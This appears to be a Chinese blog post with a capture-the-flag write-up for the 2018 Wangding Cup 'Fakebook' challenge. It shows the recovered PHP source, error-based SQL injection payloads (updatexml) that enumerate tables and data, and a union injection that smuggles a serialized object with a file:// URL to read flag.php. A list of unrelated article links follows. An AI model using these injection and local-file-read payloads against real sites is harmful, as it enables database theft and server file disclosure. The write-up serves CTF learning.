当前位置: 首页 > news >正文

[网鼎杯 2018]Fakebook

页面源代码没有什么有用信息

 在发现

访问user.php.bak

 得到:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到这里可能会考反序列化,但是暂时没有发现反序列化入口

可以使用file伪协议读取文件

先注册一个用户,然后登录

发现用户名可以点击

GET传参no

尝试注入

发现报错

尝试判断字段数

?no=1 order by 5#

 发现报错

?no=1 union select 1,2,3,4#

可能有过滤,将空格替换为/**/,发现不报错了,但是页面没有回显1,2,3,4

再尝试报错注入

?no=1 and updatexml(1,concat('~',database(),'~'),1)#

得到数据库名为fakebook

查询数据表

?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

数据表为users

查询列

?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()),'~'),1) #

得到no,username,passwd,data

查询data列中的数据

?no=1 and updatexml(1,concat('~',(select group_concat(data) from users),'~'),1) #

得到

这是个反序列化之后的对象,没有显示完全

利用右查询

?no=1 and updatexml(1,concat('~',(select right(data,30) from users),'~'),1) #

拼起来得到完整的:O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:8:"aaa.blog";}

刚好对应前面的UserInfo类

将blog构造为:file:///var/www/html/flag.php

得到:

O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后传参

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看页面源代码

点进去得到flag

相关文章:

  • 《32天SQL筑基》导读
  • 【云原生 | Kubernetes 系列】--Envoy Tcp请求静态配置
  • 【牛客 - 剑指offer】JZ61 扑克牌顺子 两种方案 Java实现
  • 写对比学习损失函数有感(关于速度差异、出现nan的情况)
  • Java岗大厂面试百日冲刺 - 日积月累,每日三题【Day03】——Java高级篇
  • SHRM-人力资源必备的顶流证书
  • 【软件测试】软件测试的相关概念(面试常考)
  • 极光推送厂商通道(小米、华为)对接/问题排查
  • c#开发和学习(基础)
  • java agent简介
  • redis源码实践手册
  • 时间复杂度和空间复杂度❀数据结构
  • Mybatis知识总结二
  • SpringBoot之基础Web开发
  • 作为BAT大厂面试官,谈谈大厂技术面试
  • SegmentFault for Android 3.0 发布
  • 【React系列】如何构建React应用程序
  • C++类的相互关联
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • GitUp, 你不可错过的秀外慧中的git工具
  • JavaScript实现分页效果
  • PAT A1050
  • React系列之 Redux 架构模式
  • SegmentFault 2015 Top Rank
  • Shell编程
  • vue2.0项目引入element-ui
  • 阿里云购买磁盘后挂载
  • 分布式任务队列Celery
  • 基于Dubbo+ZooKeeper的分布式服务的实现
  • 基于OpenResty的Lua Web框架lor0.0.2预览版发布
  • 力扣(LeetCode)965
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 如何选择开源的机器学习框架?
  • 用 vue 组件自定义 v-model, 实现一个 Tab 组件。
  • ​一些不规范的GTID使用场景
  • # 再次尝试 连接失败_无线WiFi无法连接到网络怎么办【解决方法】
  • #每日一题合集#牛客JZ23-JZ33
  • $forceUpdate()函数
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (MATLAB)第五章-矩阵运算
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (附源码)ssm教材管理系统 毕业设计 011229
  • (附源码)计算机毕业设计ssm电影分享网站
  • (四)【Jmeter】 JMeter的界面布局与组件概述
  • (算法二)滑动窗口
  • (原創) 系統分析和系統設計有什麼差別? (OO)
  • .NET Core中Emit的使用
  • .Net 知识杂记
  • .set 数据导入matlab,设置变量导入选项 - MATLAB setvaropts - MathWorks 中国
  • [ C++ ] STL priority_queue(优先级队列)使用及其底层模拟实现,容器适配器,deque(双端队列)原理了解
  • [ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell
  • [AIGC] 开源流程引擎哪个好,如何选型?
  • [BZOJ1877][SDOI2009]晨跑[最大流+费用流]
  • [c#基础]值类型和引用类型的Equals,==的区别
  • [CLR via C#]11. 事件